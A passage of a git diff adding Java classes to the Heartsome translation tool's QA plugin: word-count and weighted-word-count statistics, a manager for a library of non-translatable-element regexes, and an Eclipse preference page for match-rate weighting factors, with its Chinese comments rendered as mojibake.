this.notTransWords += notTransWords; + } + public void setTranslatedWords(int translatedWords) { + this.translatedWords += translatedWords; + } + public void setLockedWords(int lockedWords) { + this.lockedWords += lockedWords; + } + public void setLockedPara(int lockedPara) { + this.lockedPara += lockedPara; + } + + /** + * 获å–所有字数 + * @return + */ + public int getTotalWords(){ + return notTransWords + translatedWords; + } + + /** + * 获å–未翻译字数的比例 + * @return 如25.00% + */ + public String getNotTransWordsRatio(){ + float ratio = (float)notTransWords / (notTransWords + translatedWords); + NumberFormat format = NumberFormat.getNumberInstance(); + format.setMaximumFractionDigits(2); + + return format.format(ratio * 100) + "%"; + } + + /** + * 获å–已翻译字数的比例 + * @return 如25.00% + */ + public String getTransWordsRatio(){ + float ratio = (float)translatedWords / (notTransWords + translatedWords); + NumberFormat format = NumberFormat.getNumberInstance(); + format.setMaximumFractionDigits(2); + return format.format(ratio * 100) + "%"; + } + + /** + * 获å–所有文本段 + * @return + */ + public int getTotalParas(){ + return notTransPara + translatedPara; + } + + /** + * 获å–未翻译文本段的比例 + * @return 如25.00% + */ + public String getNotTransParasRatio(){ + float ratio = (float)notTransPara / (notTransPara + translatedPara); + NumberFormat format = NumberFormat.getNumberInstance(); + format.setMaximumFractionDigits(2); + return format.format(ratio * 100) + "%"; + } + + /** + * 获å–已翻译文本段的比例 + * @return 如25.00% + */ + public String getTransParasRatio(){ + float ratio = (float)translatedPara / (notTransPara + translatedPara); + NumberFormat format = NumberFormat.getNumberInstance(); + format.setMaximumFractionDigits(2); + return format.format(ratio * 100) + "%"; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/WordsFAResult.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/WordsFAResult.java new file mode 100644 index 0000000..7be410e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/model/WordsFAResult.java @@ -0,0 +1,255 @@ +package net.heartsome.cat.ts.ui.qa.model; + +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.ts.core.qa.QAConstant; + +public class WordsFAResult { + /** 新文本段 */ + private int newPara = 0; + /** 内部é‡å¤æ–‡æœ¬æ®µ */ + private int interRepeatPara = 0; + /** 内部匹é…文本段 */ + private int interMatchPara = 0; + /** 外部é‡å¤æ–‡æœ¬æ®µ */ + private int exterRepeatPara = 0; + /** 外部匹é…文本段 */ + private int exterMatchPara = 0; + + private int lockedPara = 0; + + /** æ–°å­—æ•° */ + private int newWords = 0; + /** 内部匹é…å­—æ•° */ + private int interMatchWords = 0; + /** 外部匹é…å­—æ•° */ + private int exterMatchWords = 0; + /** 所有外部匹é…å­—æ•°, key=匹é…率, value=字数,针对结果显示界é¢çš„第三张表,也就是存储æ¯ä¸€ä¸ªæºèŠ‚点的外部匹é…率 */ + private Map allExterMatchWords = new HashMap(); + /** 所有内部匹é…å­—æ•°, key=匹é…率, value=字数,针对结果显示界é¢çš„第三张表,也就是存储æ¯ä¸€ä¸ªæºèŠ‚点的外部匹é…率 */ + private Map allInterMatchWords = new HashMap(); + /** é”定文本段的字数 */ + private int lockedWords = 0; + + public int getNewPara() { + return newPara; + } + public int getInterRepeatPara() { + return interRepeatPara; + } + public int getInterMatchPara() { + return interMatchPara; + } + public int getExterRepeatPara() { + return exterRepeatPara; + } + public int getExterMatchPara() { + return exterMatchPara; + } + + public int getNewWords() { + return newWords; + } + public int getInterMatchWords() { + return interMatchWords; + } + public int getExterMatchWords() { + return exterMatchWords; + } + public int getLockedWords() { + return lockedWords; + } + public int getLockedPara() { + return lockedPara; + } + + + public void setNewPara(int newPara) { + this.newPara += newPara; + } + public void setInterRepeatPara(int interRepeatPara) { + this.interRepeatPara += interRepeatPara; + } + public void setInterMatchPara(int interMatchPara) { + this.interMatchPara += interMatchPara; + } + public void setExterRepeatPara(int exterRepeatPara) { + this.exterRepeatPara += exterRepeatPara; + } + public void setExterMatchPara(int exterMatchPara) { + this.exterMatchPara += exterMatchPara; + } + + public void setNewWords(int newWords) { + this.newWords += newWords; + } + public void setInterMatchWords(int interMatchWords) { + this.interMatchWords += interMatchWords; + } + public void setExterMatchWords(int exterMatchWords) { + this.exterMatchWords += exterMatchWords; + } + public void setLockedWords(int lockedWords) { + this.lockedWords += lockedWords; + } + public void setLockedPara(int lockedPara) { + this.lockedPara += lockedPara; + } + + + + public Map getAllExterMatchWords() { + return allExterMatchWords; + } + /** 给外部匹é…结果传值 */ + public void setAllExterMatchWords(int matchRate, int allExterMatchWords) { + if (this.allExterMatchWords.containsKey(matchRate)) { + int oldPara = this.allExterMatchWords.get(matchRate); + this.allExterMatchWords.put(matchRate, allExterMatchWords + oldPara); + }else { + this.allExterMatchWords.put(matchRate, allExterMatchWords); + } + } + /** 给外部匹é…结果传值 */ + public void setAllExterMatchWords(Map allExterMathWords){ + Iterator> it = allExterMathWords.entrySet().iterator(); + while(it.hasNext()){ + Entry entry = it.next(); + int matchRate = entry.getKey(); + int words = entry.getValue(); + setAllExterMatchWords(matchRate, words); + } + } + + public Map getAllInterMatchWords() { + return allInterMatchWords; + } + /** 给内部匹é…结果传值 */ + public void setAllInterMatchWords(int matchRate, int allInterMatchWords) { + if (this.allInterMatchWords.containsKey(matchRate)) { + int oldPara = this.allInterMatchWords.get(matchRate); + this.allInterMatchWords.put(matchRate, allInterMatchWords + oldPara); + }else { + this.allInterMatchWords.put(matchRate, allInterMatchWords); + } + } + /** 给内部匹é…结果传值 */ + public void setAllInterMatchWords(Map allInterMatchWords){ + Iterator> it = allInterMatchWords.entrySet().iterator(); + while(it.hasNext()){ + Entry entry = it.next(); + int matchRate = entry.getKey(); + int words = entry.getValue(); + setAllInterMatchWords(matchRate, words); + } + } + + /** + * 获å–字数分æžçš„所有字数,为新字数,内部匹é…字数,外部匹é…字数,é”定字数之和 + * @return + */ + public int getTotalWords(){ + return newWords + interMatchWords + exterMatchWords + lockedWords; + } + + /** + * 获å–字数分æžçš„所有文本段数,为新文本段,内部匹é…文本段,外部匹é…文本段,内部é‡å¤æ–‡æœ¬æ®µï¼Œå¤–部é‡å¤æ–‡æœ¬æ®µï¼Œé”定文本段之和 + * @return + */ + public int getTotalPara(){ + return newPara + interMatchPara + exterMatchPara + interRepeatPara + exterRepeatPara + lockedPara; + } + + + /** + * 获å–所有外部匹é…区间段的总数字 + * @param matchPair 匹é…率段,如95ï¼99,也å¯èƒ½ä¼ å€¼ä¸º100或101, + * @return + */ + public int getExterMatch(String matchPair){ + if (matchPair.indexOf("-") < 0) { + return allExterMatchWords.get(Integer.parseInt(matchPair)) == null ? 0 : allExterMatchWords.get(Integer.parseInt(matchPair)); + } + + int minMatch = Integer.parseInt(matchPair.substring(0, matchPair.indexOf("-"))); + int maxMatch = Integer.parseInt(matchPair.substring(matchPair.indexOf("-") + 1, matchPair.length())); + + int totalWords = 0; + Iterator> it = allExterMatchWords.entrySet().iterator(); + while(it.hasNext()){ + Entry entry = it.next(); + int matchRate = entry.getKey(); + if (matchRate >= minMatch && matchRate <= maxMatch) { + totalWords += entry.getValue(); + } + } + return totalWords; + } + + /** + * 获å–所有内部匹é…区间段的总数字 + * @param matchPair 匹é…率段,如84-94, 或 100, 101 + * @return + */ + public int getInterMatch(String matchPair){ + if (matchPair.indexOf("-") < 0) { + return allInterMatchWords.get(Integer.parseInt(matchPair)) == null ? 0 : allInterMatchWords.get(Integer.parseInt(matchPair)); + } + + int minMatch = Integer.parseInt(matchPair.substring(0, matchPair.indexOf("-"))); + int maxMatch = Integer.parseInt(matchPair.substring(matchPair.indexOf("-") + 1, matchPair.length())); + + int totalWords = 0; + Iterator> it = allInterMatchWords.entrySet().iterator(); + while(it.hasNext()){ + Entry entry = it.next(); + int matchRate = entry.getKey(); + if (matchRate >= minMatch && matchRate <= maxMatch) { + totalWords += entry.getValue(); + } + } + return totalWords; + } + + /** + * 获å–加æƒå­—æ•° + * @param eqalStr + * 加æƒç³»æ•°çš„组åˆå­—符串,如:"internalRepeat:0.50;external101:0.50;external100:0.50;95-99:0.60;85-94:0.70" + * @return ; + */ + public int getEqalWords(String equivStr) { + float eqalWords = 0; //加æƒç³»æ•° + int matchWords = 0; + int totalWords = 0; + String[] equivArray = equivStr.split(";"); + for (int i = 0; i < equivArray.length; i++) { + String matchPair = equivArray[i].substring(0, equivArray[i].indexOf(":") ); + float equiv = Float.parseFloat(equivArray[i].substring(equivArray[i].indexOf(":") + 1 , equivArray[i].length())); + int interMathWords = 0; + int exterMathWords = 0; + // 这是内部é‡å¤ + if (QAConstant._InternalRepeat.equals(matchPair)) { + interMathWords = getInterMatch("100-101"); + }else if (QAConstant._External101.equals(matchPair)) { + exterMathWords = getExterMatch("101"); + }else if (QAConstant._External100.equals(matchPair)) { + exterMathWords = getExterMatch("100"); + }else { + interMathWords = getInterMatch(matchPair); + exterMathWords = getExterMatch(matchPair); + } + eqalWords += interMathWords * equiv; + eqalWords += exterMathWords * equiv; + matchWords += (interMathWords + exterMathWords); + } + //加æƒæ€»å­—数等于内部与外部匹é…的加æƒå­—数,与无匹é…区间的匹é…值,与新字数的和 + float result = newWords + (interMatchWords + exterMatchWords - matchWords) + eqalWords; + totalWords = new BigDecimal(result).setScale(0, BigDecimal.ROUND_HALF_UP).intValue(); + return totalWords; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/nonTransElement/NonTransElementOperate.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/nonTransElement/NonTransElementOperate.java new file mode 100644 index 0000000..d8f9850 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/nonTransElement/NonTransElementOperate.java @@ -0,0 +1,232 @@ +package net.heartsome.cat.ts.ui.qa.nonTransElement; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.NontransElementBean; +import net.heartsome.cat.ts.ui.qa.model.QAModel; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * éžè¯‘元素处ç†ç±»ï¼ŒåŒ…括获å–相关数æ®ï¼Œæ–°å»ºéžè¯‘元素库(xml)等。 + * 默认éžè¯‘元素库的库å为 .nonTransElement,ä¿å­˜åœ¨å·¥ä½œç©ºé—´ä¸‹ + * 其结构为 + * //这是根节点 + * //id为毫秒 + * //éžè¯‘元素的å字,对应界é¢ä¸Šçš„说明 + * ipåœ°å€ + * + * //éžè¯‘元素的内容 + * http://.... + * + * //éžè¯‘å…ƒç´ çš„æ­£åˆ™è¡¨è¾¾å¼ + * \\w+(?:\\.{0,1}[\\w-]+)*@[a-zA-Z0-9]+(?:[-.][a-zA-Z0-9]+)*\\.[a-zA-Z]+ + * + * + * + * @author robert 2011-11-31 + */ +public class NonTransElementOperate { + private String fileName = ".nonTransElement"; + private QAXmlHandler handler; + private String path; + public final static Logger logger = LoggerFactory.getLogger(NonTransElementOperate.class.getName()); + + public NonTransElementOperate(){ + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + handler = new QAXmlHandler(); + path = root.getLocation().append(fileName).toOSString(); + + validExist(); + } + + /** + * 首先验è¯.nonTransElement是å¦å­˜åœ¨,è‹¥ä¸å­˜åœ¨ï¼Œåˆ™è¿›è¡Œåˆ›å»ºï¼Œ + */ + public void validExist(){ + + File file = new File(path); + if (!file.exists()) { + FileOutputStream output; + try { + output = new FileOutputStream(path); + output.write("\n".getBytes("UTF-8")); + output.write("\n".getBytes("UTF-8")); + output.close(); + openNonTransDB(); + addNonTransElement(QAModel.getInterNonTransElements()); + } catch (FileNotFoundException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.preference.NonTranslationQAPage.log1"), e); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.preference.NonTranslationQAPage.log2"), e); + } catch (IOException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.preference.NonTranslationQAPage.log3"), e); + } + } + } + + /** + * 打开éžè¯‘元素库,å³è§£æžéžè¯‘元素所在的xml文件 + * @return + */ + public boolean openNonTransDB(){ + Map newResultMap = handler.openFile(path); + if (newResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap.get(QAConstant.RETURNVALUE_RESULT)) { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + Assert.isNotNull(window); + Shell shell = window.getShell(); + MessageDialog.openError(shell, Messages.getString("qa.all.dialog.error"), MessageFormat.format( + Messages.getString("qa.all.log.openThisXmlError"), new Object[] { path })); + } + }); + return false; + } + return true; + } + + + public List getNonTransElements(){ + List result = new ArrayList(); + List> elementList = handler.getNonTransElements(path, "/nonTrans/element"); + for(Map element : elementList){ + String id = element.get("id"); + String name = element.get("name"); + String content = element.get("content"); + String regular = TextUtil.resetSpecialString(element.get("regular")); + result.add(new NontransElementBean(id, name, content, regular)); + } + return result; + } + + /** + * åªèŽ·å–éžè¯‘元素的 æ­£åˆ™è¡¨è¾¾å¼ + */ + public List getNontransElementRegex(){ + List regexList = new ArrayList(); + regexList = handler.getNonTransElementsRegex(path); + return regexList; + } + + /** + * 添加éžè¯‘元素 + * @return + */ + public boolean addNonTransElement(List elementList){ + StringBuffer dataSB = new StringBuffer(); + for(NontransElementBean bean : elementList){ + dataSB.append("\t\n") ; + dataSB.append("\t\t" + bean.getName() + "\n") ; + dataSB.append( "\t\t" + bean.getContent() + "\n"); + dataSB.append( "\t\t" + TextUtil.cleanSpecialString(bean.getRegular()) + "\n"); + dataSB.append("\t\n") ; + } + if (elementList.size() > 0) { + return handler.addDataToXml(path, "/nonTrans", dataSB.substring(0, dataSB.length() - 1)); + } + return false; + } + + + /** + * æ ¹æ®é…置的map值获å–Stringç±»åž‹çš„æ•°æ® + * @param configList + * @return + */ + private String getConfig(List> configList){ + StringBuffer configSB = new StringBuffer(); + configSB.append("\n"); + for (Map configMap : configList) { + String position = configMap.get("position"); + String operate = configMap.get("operate"); + String value = configMap.get("value"); + configSB.append(MessageFormat.format("\t\t\t\n", + new Object[] { position, operate, value })); + } + configSB.append("\t\t\n"); + return configSB.toString(); + } + + /** + * 从éžè¯‘元素库时é¢åˆ é™¤éžè¯‘元素 + * @param idList + * @return + */ + public void deleteElement(List idList){ + for (int i = 0; i < idList.size(); i++) { + String nodeXpath = "/nonTrans/element[@id='" + idList.get(i) + "']"; + handler.deleteNode(path, nodeXpath); + } + } + + /** + * 删除所有的éžè¯‘元素 + */ + public void deleteAllElement(){ + String nodeXpath = "/nonTrans/element"; + handler.deleteAllNode(path, nodeXpath); + } + + /** + * 获å–忽略éžè¯‘元素的文本片段的起始与结æŸçš„标记 + * @param List 第一个数为 start index, 第二个数为 end index + * @return + */ + public List getIgnorePara(String text, List tagPositionList){ + List ignoreParaList = new LinkedList(); + List regexList = getNontransElementRegex(); + Matcher matcher = null; + for (String regex : regexList) { + matcher = Pattern.compile(regex).matcher(text); + while (matcher.find()) { + int start = matcher.start(); + int end = matcher.end(); + int startAdd = 0; + int endAdd = 0; + + // 将标记放回去,使æ¯ä¸ªéžè¯‘片段回å¤ä¹‹å‰æœªåŽ»æ ‡è®°çš„çŠ¶æ€ + if (tagPositionList != null) { + for(Integer tagIndex : tagPositionList){ + if (start >= tagIndex) { + startAdd ++; + } + if (end >= tagIndex) { + endAdd ++; + } + } + } + ignoreParaList.add(new Integer[]{start + startAdd, end + endAdd}); + } + } + return ignoreParaList; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/EquivalentPage.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/EquivalentPage.java new file mode 100644 index 0000000..53b8f14 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/EquivalentPage.java @@ -0,0 +1,699 @@ +package net.heartsome.cat.ts.ui.qa.preference; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.resource.ImageConstant; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusAdapter; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Spinner; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * 等效系统的首选项设置 存储在PreferenceStore中的格å¼ä¸º"internalRepeat:0.50;external101:0.50;external100:0.50;95-99:0.60;85-94:0.70;" + * @author robert 2011-12-17 + +加æƒå­—æ•° Weighted Word Count +加æƒç³»æ•° Weighted factor +等效字数 Equivalent wordcount to be paid at full word rate +等效系数 Percentage Payment of Full Word Rate + */ +public class EquivalentPage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.ts.ui.qa.preference.EquivalentPage"; + + IPreferenceStore preferenceStore; + private int defaultValue = 95; + private Image addImage; + private Image deleteimage; + private int index = 1; + private int selectionvalue = 0; + private int space_Number = 10; + private GridData btn_data; + private GridData spinnerdata; + private GridData cmpData; + /** 匹é…区间所在的父é¢æ¿ */ + private Composite matchParent; + /** é‡å¤æ–‡æœ¬æ®µçš„加æƒç³»æ•°è®¾ç½®æ‰€åœ¨çš„é¢æ¿ */ + private Composite repeatCmp; + private Composite equiCmp; + private GridData equiTxtData; + private GridData phLblData; + /** 两个按钮所在å°é¢æ¿çš„长度 */ + private int btnCmpWidth = 100; + /** 组件是å¦åˆå§‹åŒ– */ + private boolean isInit = false; + private boolean isUltimate = CommonFunction.checkEdition("U"); + + /** 最低匹é…率常é‡ï¼Œå¯ä»¥ä¿®æ”¹ */ + private static final int MINRATE = 1; + + public void init(IWorkbench workbench) { + } + + public EquivalentPage() { + setTitle(Messages.getString("preference.EquivalentPage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + + spinnerdata = new GridData(); + spinnerdata.widthHint = 30; + equiTxtData = new GridData(SWT.CENTER, SWT.CENTER, false, false); + equiTxtData.widthHint = 50; + + phLblData = new GridData(SWT.FILL, SWT.CENTER, true, false); + + addImage = Activator.getImageDescriptor("images/addSign.png").createImage(); + deleteimage = Activator.getImageDescriptor("images/deleteSign.png").createImage(); + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group group = new Group(tparent, SWT.NONE); + group.setText(Messages.getString("preference.EquivalentPage.group")); + + group.setLayout(new GridLayout(1, false)); + GridData groupData = new GridData(GridData.FILL_BOTH); + groupData.widthHint = 500; + groupData.heightHint = 460; + group.setLayoutData(groupData); + + String tip = Messages.getString("preference.EquivalentPage.equiImgLbl"); + HsImageLabel equiImgLbl = new HsImageLabel(tip, + Activator.getImageDescriptor(ImageConstant.PREFERENCE_FA_equivalent)); + equiCmp = equiImgLbl.createControl(group); + equiCmp.setLayout(new GridLayout()); + equiCmp.setLayoutData(new GridData(GridData.FILL_BOTH)); + + equiImgLbl.computeSize(); + + // 设置é‡å¤æ–‡æœ¬æ®µçš„加æƒç³»ç»Ÿ + createRepeatCmp(); + + // 内部匹é…加æƒç³»æ•° + createEqui(equiCmp); + createMatchEqui(preferenceStore.getString(QAConstant.FA_PREF_equivalent)); + + // scroll.setSize(scroll.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + return parent; + } + + private void createRepeatCmp(){ + repeatCmp = new Composite(equiCmp, SWT.NONE); + repeatCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridLayoutFactory.fillDefaults().margins(0, 0).numColumns(1).equalWidth(false).applyTo(repeatCmp); + + GridData btnPhLblData = new GridData(SWT.CENTER, SWT.CENTER, false, false); + btnPhLblData.widthHint = btnCmpWidth; + + // 内部é‡å¤é¢æ¿ + Composite internalRepeatCmp = new Composite(repeatCmp, SWT.NONE); + internalRepeatCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridLayoutFactory.fillDefaults().margins(0, 0).numColumns(4).equalWidth(false).applyTo(internalRepeatCmp); + + Label matchLbl = new Label(internalRepeatCmp, SWT.NONE); + matchLbl.setText(Messages.getString("preference.EquivalentPage.msg2")); + + Label phLbl = new Label(internalRepeatCmp, SWT.NONE); // 这个label 是å ä½ç”¨çš„ + phLbl.setLayoutData(phLblData); + + + Text equiTxt = new Text(internalRepeatCmp, SWT.BORDER); + equiTxt.setLayoutData(equiTxtData); + validEquiTxt(equiTxt); + + Label btnPhLbl = new Label(internalRepeatCmp, SWT.NONE); // 为了与下é¢çš„对é½ï¼Œè¿™é‡Œæ˜¯ä¸¤ä¸ªæŒ‰é’®çš„å ä½ã€‚ + btnPhLbl.setLayoutData(btnPhLblData); + + // 外部 101% 匹é…é¢æ¿ + if (isUltimate) { + Composite exter101Cmp = new Composite(repeatCmp, SWT.NONE); + exter101Cmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridLayoutFactory.fillDefaults().margins(0, 0).numColumns(4).equalWidth(false).applyTo(exter101Cmp); + + matchLbl = new Label(exter101Cmp, SWT.NONE); + matchLbl.setText(Messages.getString("preference.EquivalentPage.msg3")); + + phLbl = new Label(exter101Cmp, SWT.NONE); // 这个label 是å ä½ç”¨çš„ + phLbl.setLayoutData(phLblData); + + + equiTxt = new Text(exter101Cmp, SWT.BORDER); + equiTxt.setLayoutData(equiTxtData); + validEquiTxt(equiTxt); + + btnPhLbl = new Label(exter101Cmp, SWT.NONE); + btnPhLbl.setLayoutData(btnPhLblData); + } + + + // 外部 100% 匹é…é¢æ¿ + Composite exter100Cmp = new Composite(repeatCmp, SWT.NONE); + exter100Cmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridLayoutFactory.fillDefaults().margins(0, 0).numColumns(4).equalWidth(false).applyTo(exter100Cmp); + + matchLbl = new Label(exter100Cmp, SWT.NONE); + matchLbl.setText(Messages.getString("preference.EquivalentPage.msg4")); + + phLbl = new Label(exter100Cmp, SWT.NONE); // 这个label 是å ä½ç”¨çš„ + phLbl.setLayoutData(phLblData); + + + equiTxt = new Text(exter100Cmp, SWT.BORDER); + equiTxt.setLayoutData(equiTxtData); + validEquiTxt(equiTxt); + + btnPhLbl = new Label(exter100Cmp, SWT.NONE); + btnPhLbl.setLayoutData(btnPhLblData); + + GridData separatorLblData = new GridData(SWT.FILL, SWT.CENTER, true, false); + separatorLblData.horizontalSpan = 4; + + Label separatorLbl = new Label(repeatCmp, SWT.SEPARATOR | SWT.HORIZONTAL); + separatorLbl.setLayoutData(separatorLblData); + } + + /** + * 验è¯ç”¨æˆ·è¾“入的加æƒç³»æ•°çš„正确性 + * @param equiTxt + */ + private void validEquiTxt(final Text equiTxt){ + final String defaultStr = "0.50"; + equiTxt.setText(defaultStr); + equiTxt.addFocusListener(new FocusAdapter() { + @Override + public void focusLost(FocusEvent e) { + String textStr = equiTxt.getText().trim(); + if (textStr == null || textStr.trim().length() == 0) { + equiTxt.setText(defaultStr); + }else { + String regular = "1\\.(0){0,2}|0\\.\\d{0,2}"; + if (!textStr.matches(regular)) { + MessageDialog.openInformation(getShell(), Messages.getString("preference.EquivalentPage.msgTitle"), + Messages.getString("preference.EquivalentPage.msg5")); + equiTxt.setText(defaultStr); + } + } + } + }); + } + + public void createEqui(Composite equiCmp) { + cmpData = new GridData(GridData.FILL_HORIZONTAL); + cmpData.widthHint = 570; + + matchParent = new Composite(equiCmp, SWT.NONE); + matchParent.setLayoutData(new GridData(GridData.FILL_BOTH)); + GridLayoutFactory.fillDefaults().margins(0, 0).spacing(0, 2).applyTo(matchParent); + + Composite match = new Composite(matchParent, SWT.NONE); + match.setLayoutData(cmpData); + GridLayoutFactory.fillDefaults().margins(0, 0).numColumns(8).equalWidth(false).applyTo(match); + + Spinner mininSpinner = new Spinner(match, SWT.BORDER); + + int minSpinnerIndex = 55; + while (minSpinnerIndex <= 95) { + mininSpinner.setSelection(minSpinnerIndex); + minSpinnerIndex = minSpinnerIndex + 5; + } + + mininSpinner.setMinimum(35); + mininSpinner.setMaximum(99); + mininSpinner.setIncrement(5); + mininSpinner.setSelection(defaultValue); + mininSpinner.setLayoutData(spinnerdata); + mininSpinner.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + selected(e); + } + }); + + Label perLabel1 = new Label(match, SWT.NONE); + perLabel1.setText("%"); + + Label waveLabel = new Label(match, SWT.NONE); + waveLabel.setText("~"); + + Spinner maxSpinner = new Spinner(match, SWT.BORDER); + maxSpinner.setSelection(99); + maxSpinner.setEnabled(false); + maxSpinner.setLayoutData(spinnerdata); + + Label perLabel2 = new Label(match, SWT.NONE); + perLabel2.setText("%"); + + Label phLbl = new Label(match, SWT.NONE); + phLbl.setLayoutData(phLblData); + + Text equiTxt = new Text(match, SWT.BORDER); + equiTxt.setLayoutData(equiTxtData); + validEquiTxt(equiTxt); + + btn_data = new GridData(); + btn_data.widthHint = 40; + btn_data.heightHint = 26; + btn_data.horizontalIndent = 5; + + Composite btnCmp = new Composite(match, SWT.NONE); + GridLayoutFactory.swtDefaults().numColumns(2).margins(0, 0).applyTo(btnCmp); + GridDataFactory.swtDefaults().hint(btnCmpWidth, SWT.DEFAULT).applyTo(btnCmp); + + Button addBtn = new Button(btnCmp, SWT.NONE); + addBtn.setLayoutData(btn_data); + addBtn.setImage(addImage); + + addBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + if (index < 11) { + addEquiCmp(e, null); + } + } + }); + + Label spaceLbl = new Label(btnCmp, SWT.NONE); + spaceLbl.setLayoutData(btn_data); + + + match.getParent().setData(String.valueOf(index), match); + match.setData("index", index); + + match.pack(); + match.layout(); + match.redraw(); + } + + /** + * 点击添加按钮时,添加加æƒç³»æ•°åŒ¹é…é¢æ¿ + * @param e + */ + public void addEquiCmp(SelectionEvent e, Button button) { + + Composite cp; + if (button == null) { + Button btn = (Button) e.getSource(); + cp = btn.getParent().getParent(); + } else { + cp = button.getParent().getParent(); + } + + // 获å–加æƒç³»æ•°é¢æ¿çš„父é¢æ¿ï¼Œå³group + Composite cp_parent = cp.getParent(); + int temp_index = cp_parent.getChildren().length; + Composite temp_cp = (Composite) cp_parent.getData(String.valueOf(temp_index)); + Control[] ctrls = temp_cp.getChildren(); + // 获å–最å°åŒ¹é…率 + Spinner tempMinSp = (Spinner) ctrls[0]; + selectionvalue = tempMinSp.getSelection() - 1; + + if (selectionvalue < MINRATE) { + MessageDialog.openInformation(tempMinSp.getShell(), + Messages.getString("preference.EquivalentPage.msgTitle"), + MessageFormat.format(Messages.getString("preference.EquivalentPage.msg1"), MINRATE)); + return; + } + + Composite new_cp = new Composite(cp_parent, SWT.NONE); + new_cp.setLayoutData(cmpData); + GridLayoutFactory.fillDefaults().margins(0, 0).numColumns(8).equalWidth(false).applyTo(new_cp); + + Spinner minSp = new Spinner(new_cp, SWT.BORDER); + minSp.setMinimum(0); + minSp.setMaximum(selectionvalue); + minSp.setIncrement(5); + minSp.setLayoutData(spinnerdata); + + minSp.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + selected(e); + } + }); + + if (tempMinSp.getSelection() - space_Number >= 0) { + minSp.setSelection(tempMinSp.getSelection() - space_Number); + } else { + minSp.setSelection(0); + } + + Label perLabel1 = new Label(new_cp, SWT.NONE); + perLabel1.setText("%"); + + Label waveLabel = new Label(new_cp, SWT.NONE); + waveLabel.setText("~"); + + Spinner maxSp = new Spinner(new_cp, SWT.BORDER); + maxSp.setSelection(tempMinSp.getSelection() - 1); + maxSp.setEnabled(false); + maxSp.setLayoutData(spinnerdata); + + Label perLabel2 = new Label(new_cp, SWT.NONE); + perLabel2.setText("%"); + + Label phLbl = new Label(new_cp, SWT.NONE); + 